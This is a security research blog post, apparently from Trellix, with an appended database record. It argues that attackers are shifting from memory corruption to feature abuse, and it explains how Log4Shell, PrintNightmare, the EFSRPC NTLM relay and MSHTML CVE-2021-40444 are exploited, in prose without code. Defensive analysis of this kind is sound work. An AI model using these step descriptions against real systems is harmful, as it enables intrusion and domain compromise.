# Beyond Memory Corruption Vulnerabilities – A Security Extinction and Future of Exploitation
By Chintan Shah · January 24, 2022
Modern exploitation techniques have changed how adversaries execute their attack strategies and how defenders analyze paths from vulnerability to exploitation. Over the past decade, we have seen rock solid focus on hardening security at both the overall Operating System and applications, which has resulted in remarkable progress being made on introducing several exploit mitigations. This progress has been gradually eliminating entire classes of memory corruption vulnerabilities in some cases. The Use-after-free (UAF) is a class of vulnerabilities, for example, which is very common in large complex code bases such as web browsers. Due to ease of exploitation, Microsoft introduced an isolated heap and delayed free of objects in its browser engine (mshtml.dll), breaking the UAF exploitation chain and making adversaries to address those barriers requiring them to re-engineer the exploits. Figure 1 below shows the part of the code where it was introduced to mitigate UAF vulnerabilities.
 **Figure 1 – mshtml introduction of the isolated heap to raise exploitation bar for UAF exploitation**
We can notice the different between the protected and unprotected code. While this was just the tip of the iceberg, it made exploiting UAF vulnerabilities extremely challenging since it required the attackers to address specific timing constraints and memory thresholds as well. Figure 2 below is the simple visualization of Windows OS memory exploit mitigations introduced over the past decade or so.
 **Figure 2 – Evolution of Windows OS exploit mitigations**
However, time and again, we have seen these exploit mitigations being bypassed within a short period after they were introduced, primarily because either all the code including dependent, and third party code was not compatible with or not compiled with those mitigation switched on in the compiler. This essentially meant that the exploit mitigation was not enforced on every part of the code, or the mitigation itself was not completely implemented, leaving multiple loopholes which in turn could be exploited . For instance, it can be noted from the above visualization that ASLR was not implemented in initially in its entirety but rather in stages, thereby leaving much of the code still vulnerable to bypasses.
##### Memory Corruption vulnerabilities – Will it become a thing of the past?
While memory corruption vulnerabilities continue to be the most widely reported class of bugs , converting them into full-fledged weaponized exploits has become a challenge over the recent years owing to the exploit mitigations introduced at the OS as well as the client side application (For e.g., scripting engines). Translating memory corruption vulnerabilities into full blown exploits leading into arbitrary code execution, requires bypassing multiple mitigations without triggering any endpoint security solution protection or detection. This now means significant invest in effort, time and cost is required by adversaries to research exploit mitigation bypasses. On several occasions, adversaries may also need to chain multiple vulnerabilities to be able execute a working exploit on the target system which also significantly increases the development cost , raising the bar of exploitation.
We believe that this exploitation mitigations evolution is going to be crucial in shaping the nature of vulnerability classes of interested to adversaries in the future. The question : “Will memory corruption vulnerabilities become extinct ?” is debatable and requires some introspection.
##### Exploitation Strategies of the Future - What lies ahead?
Memory corruption vulnerabilities will continue to exist in the applications as long as there is some code in the application that handles memory incorrectly, but the intensity and frequency of exploitation of this class of vulnerabilities will eventually fade out. We had witnessed multiple instances of exploitation techniques in the past where attackers achieved arbitrary memory Read/Write (R/W),by exploiting a memory corruption flaw and using that primitive to change certain flags or data in the application memory leading to code execution. These set of methods codenamed “data only attacks” were relatively easier strategies seen in many exploits. Eventually randomizing certain critical data structures locations in memory reduced this nature of attacks over time.
With feature rich applications, attackers will always be on a lookout for the easier strategies to achieve code execution on the target system. There are always legacy systems around exposed to the internet which will offer the path of least resistance to the attackers since they lack the mitigations introduced. However, one of the ways forward in this direction is to abuse the feature or design flaws in the application or in the network protocol. If adversaries can determine the way to abuse the inherent design or feature of the target application, for instance, making the application or a service connect to the attacker controlled machine without orchestrating the memory explicitly, it becomes relatively easier to achieve remote code execution and at the same time, causing havoc on the target machine since the functionality of the arbitrary code executed by the exploited process is completely on the imagination of the attacker. Figure 3 below is a simplistic view on the progression of exploitation strategies over the last few years.
 **Figure 3 – Adversary exploitation strategy evolution**
We have witnessed data only attacks and abuse of application features/design flaws several times over the last few years. They offer multiple advantages over the traditional memory corruption exploits, and some of the reasons we believe this is going to be the exploitation strategy of the future are:
* It has the potential to bypass exploit mitigations in place and hence adversaries do not have to engineer the exploit specifically to address those barriers.
* Arbitrary code is executed with the privileges of the exploited process and hence helps elevate the privileges.
* Exploits taking advantage of application’s inbuilt feature or design flaws does not have to deal with the explicit memory manipulation and space constraints before the vulnerability is exploited. Consequently, getting rid of injecting the shellcodes in the memory and the older stack pivoting techniques.
* Relatively easier to exploit with lesser development / maintenance cost and time to weaponize it.
Retrospection of critical vulnerabilities over the last couple of quarters can give us the definite clue on how the future attacks will take shape. In the following sections, we take a look at some of the more recent high impact vulnerabilities and check how features or design flaws in the service or application were abused to achieve code execution or sensitive information leak with minimum resistance.
##### CVE-2021-44228 – Apache Log4J2 Logging Library Vulnerability Leading to Remote Code Execution
This RCE vulnerability reported in Apache’s Log4j Logging library is one of the most critical flaws reported in the recent years, allowing attackers to execute arbitrary code on the vulnerable server that uses Log4J logging library to log text messages. [In our previous blog](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/vulnerability-discovery-in-open-source-libraries-part-1-tools-of-the-trade/>), we discussed at great length on how open source softwares serves as the building blocks of modern software development and how critical it is to audit them as any vulnerability will have a significant impact on the product using it.
The vulnerability lies in the “**Lookup**” method of “**jndimanager**” class. When the JNDI URL is included in the request message parameter to be logged by log4j, the apache\logging\log4j\core\lookup\JndiLookup.lookup () method is called with the JNDI URL which in turn calls the net\JndiManager.lookup () method as shown in figure 3 below, leading to the initiation of the remote JNDI lookup to the attacker controlled server. This allows the attacker controlled server to send the malicious JNDI reference in the response leading to the execution of arbitrary code on the vulnerable server.
 **Figure 4 – JNDI lookup**
This RCE was made possible because Java implements a variety of JNDI ( Java Naming and Directory Services) service providers like LDAP, DNS, RMI and CORBA; loading remote classes was also possible, depending on the default system properties set.
**CVE-2021-44228** is a classic example of feature exploitation. The feature abused here was the [lookup substitution](<https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution>) which supports [Lookups](<https://logging.apache.org/log4j/2.x/manual/lookups.html>). Lookups are way to add values to the log messages which are typically variable names resolved using a defined map or at the runtime via implemented interfaces like [StrSubstitutor](<https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html>) and [StrLookup](<https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrLookup.html>) classes.
Log4j supports the property syntax “${prefix:name}” where prefix indicates the Log4j that the variable name should be evaluated in the specific context. JNDI context is built into Log4J as shown below.
 **Figure 5 – JNDI context**
 **Figure 6- JNDI lookup descripton**
Since JNDI lookups was enabled by default in Log4J version 2.14.1 and prior (see figure 6 above), the library could identify the JNDI references passed as the parameter value in the HTTP request headers logged on the server , consequently allowing attackers to inject malicious JNDI references in the HTTP request parameters leading to remote Java code execution.
##### CVE-2021-34527 – Windows Print Spooler Service Vulnerability Leading to Remote Code Execution
Privileged remote code execution vulnerability in spoolsv.exe i.e., PrintNightmare was another critical vulnerability reported last year and serves as good illustration of how a design flaw in the protocol can be abused to execute arbitrary code on the target machine without having to operate on the memory.
The vulnerability was exploited over Print System Remote Protocol ([MS-RPRN](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1>)) and Print System Asynchronous Remote ([MS-PAR](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/695e3f9a-f83f-479a-82d9-ba260497c2d0>)) protocol, by making RPC calls over SMB. The exploit takes advantage of a classic design flaw in the implementation of the print server component in the spooler service, when RPC requests are made to MS-RPRN and MS-PAR interfaces to install the printer drivers on the target system. Making the RPC call to [RpcAddPrinterDriverEx](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b>) (MS-RPRN Opnum 89) or [RpcAsyncAddPrinterDriver](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/5d864e3e-5d8b-4337-89ce-cb0258ab97cd>) (MS-PAR Opnum 39) requires a DRIVER_CONTAINER structure to be passed as an argument.
 **Figure 7 – DRIVER_CONTAINER structure**
As indicated in the above structure details, DRIVER_CONTAINER contains **pDriverPath** and **pConfigFile**, which are the full path of the filename containing the printer driver and configuration module respectively. Both **pDriverPath** and **pConfigFile** are checked for the UNC path to prevent arbitrary code from loading.
The design or logic flaw in the code here is that same UNC path check is not applied to **pDataFile**, which is the full path of the file containing printer data. An adversary could make multiple calls to **RpcAddPrinterDriverEx** with:
1. **pDataFile** as the UNC path of the malicious DLL accessible to the target machine which when successful will copy the malicious DLL to the target machine locally.
2. Same API with the copied file name assigned to the **pConfigFile** (this time the malicious DLL becomes the local path) , leading to loading of malicious code by print spooler service.
 **Figure 8 – Adversary calls to driver installation API RpcAddPrinterDriverEx**
##### CVE-2021-36942 – LSA Spoofing Vulnerability in Windows Leading to Credential Leaks
RPC over SMB had always been on the forefront of many exploitation methods. This vulnerability could be exploited by again abusing [MS-EFSRPC](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31>) protocol, which is used in windows to manage the files on the remote system and encrypted using [Encrypting File System](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/230807ac-20be-494f-86e3-4c8ac23ea584#gt_3bd30c20-9517-4030-a48c-380362e209a1>) ( EFS ).
By making specific RPC calls like [EfsRpcOpenFileRaw](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31>) over LSARPC interface attacker can make one windows host authenticate to another server; essentially meaning that a target server can be made to authenticate to an adversary controlled server via NTLM authentication. More importantly, LSARPC can be issued using RPC calls without any prior authentication and if this target server is Active Directory (AD), then adversary can make AD connect to the arbitrary server using the machine account for NTLM authentication. This EFSRPC protocol can be abused to chain multiple vulnerabilities within the enterprise network to relay NTLM credentials to an attacker controlled server which could be used to perform lateral movement, eventually leading to complete domain compromise.
 **Figure 9 – Adversary making RPC call to EFSRPC interface**
If the adversary is controlling an IIS web server with the Active Directory Certificate Services ( AD CS ) feature installed and is configured to use NTLM over HTTP authentication, making an Active Directory authenticate to IIS will result into leaking the NTLM credentials to the adversary, resulting in complete domain compromise. While NTML relay attacks aren’t new, it is recommended to use more secure authentication mechanism like Kerberos to prevent protocol abuse like this.
 **Figure 10 – Authentication providers in IIS web server**
In summary, being able to abuse a protocol or a feature to make a critical asset connect to an externally owned adversary server comes with a dangerous consequence as demonstrated by the CVE-2021-44228 Log4J vulnerability.
##### CVE-2021-40444 – Windows MSHTML Vulnerability Leading to Remote Code Execution
This was yet another critical vulnerability exploited last year and is a great example of how a simple feature abuse can be chained with a logic flaw to achieve arbitrary code execution. First, Object Linking and Embedding (OLE) was used to link the document to the external OLE object. Historically, OLE has played a significant role in building weaponized office exploits and this will continue to happen as it is one of the core features of MS-Office file format designed specifically to address interoperability.
[MS Office Open XML specifications](<https://www.ecma-international.org/publications-and-standards/standards/ecma-376/>) allows a document to embed or link to internal or external objects and in particular link to the external OLE object is specified via relationships . As shown in the crafted exploit document below, the **document.xml.rels** file with **Type** attribute as “oleObject”, **Target** attribute set to the OLE object link and **TargetMode** set as external. This allows the crafted document to link to the externally hosted malicious object and invoke the respective protocol / resource handlers for rendering the object, to exploit a potential logic / design flaw in the handler. This is typical OOXML template injection techniques used in many OOXML exploits in the past. We had an in depth look on OLE exploits in our [previous blog post](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/an-inside-look-into-microsoft-rich-text-format-and-ole-exploits/>).
 **Figure 11 – document.xml.rels file in the OOXML document linking to external OLE object**
HTML code processing is done in **mshtml.dll** while HTTP protocol and MSHTML downloads are verified for trust and handled in urlmon.dll. The design flaw in the **urlmon.dll** code was in relation to the extraction and the trust verification of the downloaded CAB file. The CAB file was downloaded via Javascript (JS) code embedded within the **side.html** page as in figure 11 above. Because of the missing path escape checks during the extraction of the CAB file, it allowed the exploit to extract the file contained within the CAB with the relative path per figure 12 below. This resulted into dropping of the malicious payload outside of the created TEMP directory, eventually allowing the dropped payload to be executed.
 **Figure 12 – Vulnerability in CAB file extraction function in urlmon.dll**
##### Conclusion
There has been a trend in the past few years of vulnerabilities like CVE-2021-44228, CVE-2021-34527, CVE-2021-36942 and CVE-2021-40444 described above which take advantage of inherent processing flaws and are predominantly feature abuse. While memory corruption flaws will continue to proliferate as long as insecure code exists in non-memory safe languages other than Rust, we certainly expect to see the exploitation trend moving more towards exploiting design or logic flaws and protocol abuses. Consumers as well as the developers of open source software need to be more vigilant as these flaws will allow adversaries to achieve their initial system level objective of moving laterally within the network ,without worrying about the defense in depth of recently matured memory exploit mitigations.
{"id": "TRELLIX:ED6978182DFD9CD1EA1E539B1EDABE6C", "vendorId": null, "type": "trellix", "bulletinFamily": "info", "title": "Beyond Memory Corruption Vulnerabilities \u2013 A Security Extinction and Future of Exploitation", "description": "# Beyond Memory Corruption Vulnerabilities \u2013 A Security Extinction and Future of Exploitation\n\nBy Chintan Shah \u00b7 January 24, 2022\n\nModern exploitation techniques have changed how adversaries execute their attack strategies and how defenders analyze paths from vulnerability to exploitation. Over the past decade, we have seen rock solid focus on hardening security at both the overall Operating System and applications, which has resulted in remarkable progress being made on introducing several exploit mitigations. This progress has been gradually eliminating entire classes of memory corruption vulnerabilities in some cases. The Use-after-free (UAF) is a class of vulnerabilities, for example, which is very common in large complex code bases such as web browsers. Due to ease of exploitation, Microsoft introduced an isolated heap and delayed free of objects in its browser engine (mshtml.dll), breaking the UAF exploitation chain and making adversaries to address those barriers requiring them to re-engineer the exploits. Figure 1 below shows the part of the code where it was introduced to mitigate UAF vulnerabilities. \n\n **Figure 1 \u2013 mshtml introduction of the isolated heap to raise exploitation bar for UAF exploitation**\n\nWe can notice the different between the protected and unprotected code. While this was just the tip of the iceberg, it made exploiting UAF vulnerabilities extremely challenging since it required the attackers to address specific timing constraints and memory thresholds as well. Figure 2 below is the simple visualization of Windows OS memory exploit mitigations introduced over the past decade or so.\n\n **Figure 2 \u2013 Evolution of Windows OS exploit mitigations**\n\nHowever, time and again, we have seen these exploit mitigations being bypassed within a short period after they were introduced, primarily because either all the code including dependent, and third party code was not compatible with or not compiled with those mitigation switched on in the compiler. This essentially meant that the exploit mitigation was not enforced on every part of the code, or the mitigation itself was not completely implemented, leaving multiple loopholes which in turn could be exploited . For instance, it can be noted from the above visualization that ASLR was not implemented in initially in its entirety but rather in stages, thereby leaving much of the code still vulnerable to bypasses.\n\n##### Memory Corruption vulnerabilities \u2013 Will it become a thing of the past? \n\nWhile memory corruption vulnerabilities continue to be the most widely reported class of bugs , converting them into full-fledged weaponized exploits has become a challenge over the recent years owing to the exploit mitigations introduced at the OS as well as the client side application (For e.g., scripting engines). Translating memory corruption vulnerabilities into full blown exploits leading into arbitrary code execution, requires bypassing multiple mitigations without triggering any endpoint security solution protection or detection. This now means significant invest in effort, time and cost is required by adversaries to research exploit mitigation bypasses. On several occasions, adversaries may also need to chain multiple vulnerabilities to be able execute a working exploit on the target system which also significantly increases the development cost , raising the bar of exploitation.\n\nWe believe that this exploitation mitigations evolution is going to be crucial in shaping the nature of vulnerability classes of interested to adversaries in the future. The question : \u201cWill memory corruption vulnerabilities become extinct ?\u201d is debatable and requires some introspection.\n\n##### Exploitation Strategies of the Future - What lies ahead? \n\nMemory corruption vulnerabilities will continue to exist in the applications as long as there is some code in the application that handles memory incorrectly, but the intensity and frequency of exploitation of this class of vulnerabilities will eventually fade out. We had witnessed multiple instances of exploitation techniques in the past where attackers achieved arbitrary memory Read/Write (R/W),by exploiting a memory corruption flaw and using that primitive to change certain flags or data in the application memory leading to code execution. These set of methods codenamed \u201cdata only attacks\u201d were relatively easier strategies seen in many exploits. Eventually randomizing certain critical data structures locations in memory reduced this nature of attacks over time. \n\nWith feature rich applications, attackers will always be on a lookout for the easier strategies to achieve code execution on the target system. There are always legacy systems around exposed to the internet which will offer the path of least resistance to the attackers since they lack the mitigations introduced. However, one of the ways forward in this direction is to abuse the feature or design flaws in the application or in the network protocol. If adversaries can determine the way to abuse the inherent design or feature of the target application, for instance, making the application or a service connect to the attacker controlled machine without orchestrating the memory explicitly, it becomes relatively easier to achieve remote code execution and at the same time, causing havoc on the target machine since the functionality of the arbitrary code executed by the exploited process is completely on the imagination of the attacker. Figure 3 below is a simplistic view on the progression of exploitation strategies over the last few years. \n\n **Figure 3 \u2013 Adversary exploitation strategy evolution**\n\nWe have witnessed data only attacks and abuse of application features/design flaws several times over the last few years. They offer multiple advantages over the traditional memory corruption exploits, and some of the reasons we believe this is going to be the exploitation strategy of the future are:\n\n * It has the potential to bypass exploit mitigations in place and hence adversaries do not have to engineer the exploit specifically to address those barriers. \n * Arbitrary code is executed with the privileges of the exploited process and hence helps elevate the privileges.\n * Exploits taking advantage of application\u2019s inbuilt feature or design flaws does not have to deal with the explicit memory manipulation and space constraints before the vulnerability is exploited. Consequently, getting rid of injecting the shellcodes in the memory and the older stack pivoting techniques. \n * Relatively easier to exploit with lesser development / maintenance cost and time to weaponize it. \n\nRetrospection of critical vulnerabilities over the last couple of quarters can give us the definite clue on how the future attacks will take shape. In the following sections, we take a look at some of the more recent high impact vulnerabilities and check how features or design flaws in the service or application were abused to achieve code execution or sensitive information leak with minimum resistance.\n\n##### CVE-2021-44228 \u2013 Apache Log4J2 Logging Library Vulnerability Leading to Remote Code Execution\n\nThis RCE vulnerability reported in Apache\u2019s Log4j Logging library is one of the most critical flaws reported in the recent years, allowing attackers to execute arbitrary code on the vulnerable server that uses Log4J logging library to log text messages. [In our previous blog](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/vulnerability-discovery-in-open-source-libraries-part-1-tools-of-the-trade/>), we discussed at great length on how open source softwares serves as the building blocks of modern software development and how critical it is to audit them as any vulnerability will have a significant impact on the product using it. \n\nThe vulnerability lies in the \u201c**Lookup**\u201d method of \u201c**jndimanager**\u201d class. When the JNDI URL is included in the request message parameter to be logged by log4j, the apache\\logging\\log4j\\core\\lookup\\JndiLookup.lookup () method is called with the JNDI URL which in turn calls the net\\JndiManager.lookup () method as shown in figure 3 below, leading to the initiation of the remote JNDI lookup to the attacker controlled server. This allows the attacker controlled server to send the malicious JNDI reference in the response leading to the execution of arbitrary code on the vulnerable server. \n\n **Figure 4 \u2013 JNDI lookup**\n\nThis RCE was made possible because Java implements a variety of JNDI ( Java Naming and Directory Services) service providers like LDAP, DNS, RMI and CORBA; loading remote classes was also possible, depending on the default system properties set.\n\n**CVE-2021-44228** is a classic example of feature exploitation. The feature abused here was the [lookup substitution](<https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution>) which supports [Lookups](<https://logging.apache.org/log4j/2.x/manual/lookups.html>). Lookups are way to add values to the log messages which are typically variable names resolved using a defined map or at the runtime via implemented interfaces like [StrSubstitutor](<https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html>) and [StrLookup](<https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrLookup.html>) classes. \n\nLog4j supports the property syntax \u201c${prefix:name}\u201d where prefix indicates the Log4j that the variable name should be evaluated in the specific context. JNDI context is built into Log4J as shown below.\n\n **Figure 5 \u2013 JNDI context**\n\n **Figure 6- JNDI lookup descripton**\n\nSince JNDI lookups was enabled by default in Log4J version 2.14.1 and prior (see figure 6 above), the library could identify the JNDI references passed as the parameter value in the HTTP request headers logged on the server , consequently allowing attackers to inject malicious JNDI references in the HTTP request parameters leading to remote Java code execution.\n\n##### CVE-2021-34527 \u2013 Windows Print Spooler Service Vulnerability Leading to Remote Code Execution\n\nPrivileged remote code execution vulnerability in spoolsv.exe i.e., PrintNightmare was another critical vulnerability reported last year and serves as good illustration of how a design flaw in the protocol can be abused to execute arbitrary code on the target machine without having to operate on the memory. \n\nThe vulnerability was exploited over Print System Remote Protocol ([MS-RPRN](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1>)) and Print System Asynchronous Remote ([MS-PAR](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/695e3f9a-f83f-479a-82d9-ba260497c2d0>)) protocol, by making RPC calls over SMB. The exploit takes advantage of a classic design flaw in the implementation of the print server component in the spooler service, when RPC requests are made to MS-RPRN and MS-PAR interfaces to install the printer drivers on the target system. Making the RPC call to [RpcAddPrinterDriverEx](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b>) (MS-RPRN Opnum 89) or [RpcAsyncAddPrinterDriver](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/5d864e3e-5d8b-4337-89ce-cb0258ab97cd>) (MS-PAR Opnum 39) requires a DRIVER_CONTAINER structure to be passed as an argument. \n\n **Figure 7 \u2013 DRIVER_CONTAINER structure**\n\nAs indicated in the above structure details, DRIVER_CONTAINER contains **pDriverPath** and **pConfigFile**, which are the full path of the filename containing the printer driver and configuration module respectively. Both **pDriverPath** and **pConfigFile** are checked for the UNC path to prevent arbitrary code from loading. \n\nThe design or logic flaw in the code here is that same UNC path check is not applied to **pDataFile**, which is the full path of the file containing printer data. An adversary could make multiple calls to **RpcAddPrinterDriverEx** with:\n\n 1. **pDataFile** as the UNC path of the malicious DLL accessible to the target machine which when successful will copy the malicious DLL to the target machine locally.\n 2. Same API with the copied file name assigned to the **pConfigFile** (this time the malicious DLL becomes the local path) , leading to loading of malicious code by print spooler service. \n **Figure 8 \u2013 Adversary calls to driver installation API RpcAddPrinterDriverEx**\n\n##### CVE-2021-36942 \u2013 LSA Spoofing Vulnerability in Windows Leading to Credential Leaks\n\nRPC over SMB had always been on the forefront of many exploitation methods. This vulnerability could be exploited by again abusing [MS-EFSRPC](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31>) protocol, which is used in windows to manage the files on the remote system and encrypted using [Encrypting File System](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/230807ac-20be-494f-86e3-4c8ac23ea584#gt_3bd30c20-9517-4030-a48c-380362e209a1>) ( EFS ). \n\nBy making specific RPC calls like [EfsRpcOpenFileRaw](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31>) over LSARPC interface attacker can make one windows host authenticate to another server; essentially meaning that a target server can be made to authenticate to an adversary controlled server via NTLM authentication. More importantly, LSARPC can be issued using RPC calls without any prior authentication and if this target server is Active Directory (AD), then adversary can make AD connect to the arbitrary server using the machine account for NTLM authentication. This EFSRPC protocol can be abused to chain multiple vulnerabilities within the enterprise network to relay NTLM credentials to an attacker controlled server which could be used to perform lateral movement, eventually leading to complete domain compromise. \n\n **Figure 9 \u2013 Adversary making RPC call to EFSRPC interface**\n\nIf the adversary is controlling an IIS web server with the Active Directory Certificate Services ( AD CS ) feature installed and is configured to use NTLM over HTTP authentication, making an Active Directory authenticate to IIS will result into leaking the NTLM credentials to the adversary, resulting in complete domain compromise. While NTML relay attacks aren\u2019t new, it is recommended to use more secure authentication mechanism like Kerberos to prevent protocol abuse like this.\n\n **Figure 10 \u2013 Authentication providers in IIS web server**\n\nIn summary, being able to abuse a protocol or a feature to make a critical asset connect to an externally owned adversary server comes with a dangerous consequence as demonstrated by the CVE-2021-44228 Log4J vulnerability.\n\n##### CVE-2021-40444 \u2013 Windows MSHTML Vulnerability Leading to Remote Code Execution\n\nThis was yet another critical vulnerability exploited last year and is a great example of how a simple feature abuse can be chained with a logic flaw to achieve arbitrary code execution. First, Object Linking and Embedding (OLE) was used to link the document to the external OLE object. Historically, OLE has played a significant role in building weaponized office exploits and this will continue to happen as it is one of the core features of MS-Office file format designed specifically to address interoperability. \n\n[MS Office Open XML specifications](<https://www.ecma-international.org/publications-and-standards/standards/ecma-376/>) allows a document to embed or link to internal or external objects and in particular link to the external OLE object is specified via relationships . As shown in the crafted exploit document below, the **document.xml.rels** file with **Type** attribute as \u201coleObject\u201d, **Target** attribute set to the OLE object link and **TargetMode** set as external. This allows the crafted document to link to the externally hosted malicious object and invoke the respective protocol / resource handlers for rendering the object, to exploit a potential logic / design flaw in the handler. This is typical OOXML template injection techniques used in many OOXML exploits in the past. We had an in depth look on OLE exploits in our [previous blog post](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/an-inside-look-into-microsoft-rich-text-format-and-ole-exploits/>).\n\n **Figure 11 \u2013 document.xml.rels file in the OOXML document linking to external OLE object**\n\nHTML code processing is done in **mshtml.dll** while HTTP protocol and MSHTML downloads are verified for trust and handled in urlmon.dll. The design flaw in the **urlmon.dll** code was in relation to the extraction and the trust verification of the downloaded CAB file. The CAB file was downloaded via Javascript (JS) code embedded within the **side.html** page as in figure 11 above. Because of the missing path escape checks during the extraction of the CAB file, it allowed the exploit to extract the file contained within the CAB with the relative path per figure 12 below. This resulted into dropping of the malicious payload outside of the created TEMP directory, eventually allowing the dropped payload to be executed.\n\n **Figure 12 \u2013 Vulnerability in CAB file extraction function in urlmon.dll**\n\n##### Conclusion\n\nThere has been a trend in the past few years of vulnerabilities like CVE-2021-44228, CVE-2021-34527, CVE-2021-36942 and CVE-2021-40444 described above which take advantage of inherent processing flaws and are predominantly feature abuse. While memory corruption flaws will continue to proliferate as long as insecure code exists in non-memory safe languages other than Rust, we certainly expect to see the exploitation trend moving more towards exploiting design or logic flaws and protocol abuses. Consumers as well as the developers of open source software need to be more vigilant as these flaws will allow adversaries to achieve their initial system level objective of moving laterally within the network ,without worrying about the defense in depth of recently matured memory exploit mitigations.\n", "published": "2022-01-24T00:00:00", "modified": "2022-01-24T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.trellix.com/content/mainsite/en-us/about/newsroom/stories/research/beyond-memory-corruption-vulnerabilities.html", "reporter": "Trellix", "references": [], "cvelist": ["CVE-2021-34527", "CVE-2021-36942", "CVE-2021-40444", "CVE-2021-44228"], "immutableFields": [], "lastseen": "2022-01-24T00:00:00", "viewCount": 60, "enchantments": {"dependencies": {"references": [{"type": "akamaiblog", "idList": ["AKAMAIBLOG:65F0FA2139A357151F74FA41EF42B50F", "AKAMAIBLOG:7E872DA472DB19F259EC6E0D8CA018FF", "AKAMAIBLOG:B0985AEDEB4DAED26BDA30B9488D329D", "AKAMAIBLOG:B0DBF0121097FA293565FB7E66E09AB3"]}, {"type": "amazon", "idList": ["ALAS-2021-1553", "ALAS-2021-1554", "ALAS-2022-1580", "ALAS-2022-1601", "ALAS2-2021-1730", "ALAS2-2021-1731", "ALAS2-2021-1732", "ALAS2-2022-1739", "ALAS2-2022-1773", "ALAS2-2022-1806"]}, {"type": "amd", "idList": ["AMD-SB-1034"]}, {"type": "apple", "idList": ["APPLE:251C897D47AD6A2DB0B7E3792A81C425"]}, {"type": "atlassian", "idList": ["CRUC-8529", "FE-7368"]}, {"type": "attackerkb", "idList": ["AKB:0B6C144F-2E5A-4D5E-B629-E45C2530CB94", "AKB:1196BAF9-A467-480D-A40C-F3E93D5888D6", "AKB:1FA9A53C-0452-4411-96C9-C0DD833F8D18", "AKB:21AD0A36-A0AA-486B-A379-B47156286E9E", "AKB:3191CCF9-DA8E-43DF-8152-1E3A5D1A3C45", "AKB:398CAD69-31E4-4276-B510-D93B2C648A74", "AKB:7575B82F-7B7A-4416-B1AA-B8A2DF4D0800", "AKB:9ADF44D2-FA0D-4643-8B97-8B46983B6917", "AKB:B1318EAC-2E60-4695-B63B-2D10DAAA5B0E", "AKB:CDA9C43E-015D-4B04-89D3-D6CABC5729B9", "AKB:F2A441BA-2246-446C-9B34-400B2F3DD77B", "AKB:F7CCD0B7-220B-49E5-A4DF-27E26B64A3F0"]}, {"type": "avleonov", "idList": ["AVLEONOV:30285D85FDB40C8D55F6A24D9D446ECF", "AVLEONOV:3530747E605445686B7211B2B0853579", "AVLEONOV:36BA0DE03DB6F8D0C96B6861C9A07473", "AVLEONOV:44DF3C4B3D05A7DC39FB6314F5D94892", "AVLEONOV:469525DB37AAC7A2242EE80C1BCBC8DB", "AVLEONOV:5945665DFA613F7707360C10CED8C916", "AVLEONOV:89C75127789AC2C132A3AA403F035902", "AVLEONOV:8FE7F4C2B563A2A88EB2DA8822A13824", "AVLEONOV:FEA9E4494A95F04BD598867C8CA5D246"]}, {"type": "cert", "idList": ["VU:383432", "VU:405600", "VU:930724"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0465", "CPAI-2021-0487", "CPAI-2021-0554", "CPAI-2021-0936"]}, {"type": "checkpoint_security", "idList": ["CPS:SK176865"]}, {"type": "cisa", "idList": ["CISA:006B1DC6A817621E16EEB4560519A418", "CISA:1AD0E0C2A1CB165DDD5F6A0F4C21101D", "CISA:367C27124C09604830E0725F5F3123F7", "CISA:380E63A9EAAD85FA1950A6973017E11B", "CISA:45B6D68A097309E99D8E7192B1E8A8BE", "CISA:4F4185688CEB9B9416A98FE75E7AFE02", "CISA:6C836D217FB0329B2D68AD71789D1BB0", "CISA:6C962B804E593B231FDE50912F4D093A", "CISA:8367DA0C1A6F51FB2D817745BB204C48", "CISA:918B5EC3622C761B0424597D3F7AFF7C", "CISA:91DA945EA20AF1A221FDE02A2D9CE315", "CISA:920F1DA8584B18459D4963D91C8DDA33", "CISA:C70D91615E3DC8B589B493118D474566", "CISA:F3C70D08CAE58CBD29A5E5ED6B2AE473"]}, {"type": "cisa_kev", "idList": ["CISA-KEV-CVE-2021-34527", "CISA-KEV-CVE-2021-36942", "CISA-KEV-CVE-2021-40444", "CISA-KEV-CVE-2021-44228"]}, {"type": "cisco", "idList": ["CISCO-SA-APACHE-LOG4J-QRUKNEBD"]}, {"type": "citrix", "idList": ["CTX335705"]}, {"type": "cloudfoundry", "idList": ["CFOUNDRY:690C01663F820378948F8CF2E2405F72"]}, {"type": "cnvd", "idList": ["CNVD-2021-69088"]}, {"type": "cve", "idList": ["CVE-2021-3100", "CVE-2021-34527", "CVE-2021-36942", "CVE-2021-40444", "CVE-2021-4104", "CVE-2021-4125", "CVE-2021-44228", "CVE-2021-44530", "CVE-2021-45046", "CVE-2022-0070", 